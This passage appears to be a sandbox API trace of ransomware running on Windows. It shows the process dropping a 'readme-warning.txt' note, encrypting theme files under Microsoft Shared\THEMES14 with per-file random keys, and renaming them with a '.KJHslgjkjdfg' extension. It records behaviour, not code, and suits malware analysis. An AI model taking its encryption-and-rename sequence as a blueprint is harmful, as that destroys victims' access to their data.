lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0177.782] RegCloseKey (hKey=0x12c) returned 0x0 [0177.782] GetProcessHeap () returned 0x990000 [0177.782] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0177.782] GetProcessHeap () returned 0x990000 [0177.782] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0177.782] GetProcessHeap () returned 0x990000 [0177.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0177.783] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.783] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0177.783] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.783] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0177.783] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0177.783] GetProcessHeap () returned 0x990000 [0177.783] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0177.783] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0177.783] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0177.783] GetProcessHeap () returned 0x990000 [0177.783] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0177.783] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\readme-warning.txt") returned 83 [0177.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.784] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0177.785] CloseHandle (hObject=0x12c) returned 1 [0177.786] GetProcessHeap () returned 0x990000 [0177.786] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0177.786] GetProcessHeap () returned 0x990000 [0177.786] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0177.786] GetProcessHeap () returned 0x990000 [0177.786] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0177.786] GetProcessHeap () returned 0x990000 [0177.786] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.786] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0177.786] GetProcessHeap () returned 0x990000 [0177.786] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0177.786] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0177.786] GetProcessHeap () returned 0x990000 [0177.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0177.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0177.787] GetProcessHeap () returned 0x990000 [0177.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0177.787] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0177.787] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0177.787] GetProcessHeap () returned 0x990000 [0177.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0177.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.788] GetProcessHeap () returned 0x990000 [0177.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.788] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.788] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.788] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.790] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.790] GetProcessHeap () returned 0x990000 [0177.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.790] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.790] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.790] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.790] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.790] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.791] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.791] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.791] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.791] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.791] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.791] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.791] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa2c, lpOverlapped=0x0) returned 1 [0177.791] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa30, dwBufLen=0xa30 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa30) returned 1 [0177.791] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.791] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa30, lpOverlapped=0x0) returned 1 [0177.791] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.791] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.792] SetEndOfFile (hFile=0x12c) returned 1 [0177.794] GetProcessHeap () returned 0x990000 [0177.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.794] GetProcessHeap () returned 0x990000 [0177.794] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.kjhslgjkjdfg")) returned 1 [0177.795] CloseHandle (hObject=0x12c) returned 1 [0177.795] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0177.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.796] GetProcessHeap () returned 0x990000 [0177.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.796] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.796] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.796] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.796] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.796] GetProcessHeap () returned 0x990000 [0177.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0177.796] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0177.796] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.796] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.798] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.798] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.798] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.798] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x101e0, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x101e0, lpOverlapped=0x0) returned 1 [0177.800] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x101e0, dwBufLen=0x101e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x101e0) returned 1 [0177.801] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.801] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x101e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x101e0, lpOverlapped=0x0) returned 1 [0177.801] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.801] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x102a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.801] SetEndOfFile (hFile=0x12c) returned 1 [0177.803] GetProcessHeap () returned 0x990000 [0177.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0177.803] GetProcessHeap () returned 0x990000 [0177.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.kjhslgjkjdfg")) returned 1 [0177.805] CloseHandle (hObject=0x12c) returned 1 [0177.805] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0177.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.805] GetProcessHeap () returned 0x990000 [0177.805] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.805] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.805] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.805] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0177.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.807] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.807] GetProcessHeap () returned 0x990000 [0177.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0177.807] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0177.807] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.807] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0177.807] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.807] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.807] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.808] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.808] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.808] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1e7, lpOverlapped=0x0) returned 1 [0177.808] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1f0) returned 1 [0177.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.808] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1f0, lpOverlapped=0x0) returned 1 [0177.808] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.808] SetEndOfFile (hFile=0x12c) returned 1 [0177.809] GetProcessHeap () returned 0x990000 [0177.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0177.809] GetProcessHeap () returned 0x990000 [0177.809] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.kjhslgjkjdfg")) returned 1 [0177.815] CloseHandle (hObject=0x12c) returned 1 [0177.816] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0177.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.817] GetProcessHeap () returned 0x990000 [0177.817] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.817] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.817] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.817] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0177.879] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, 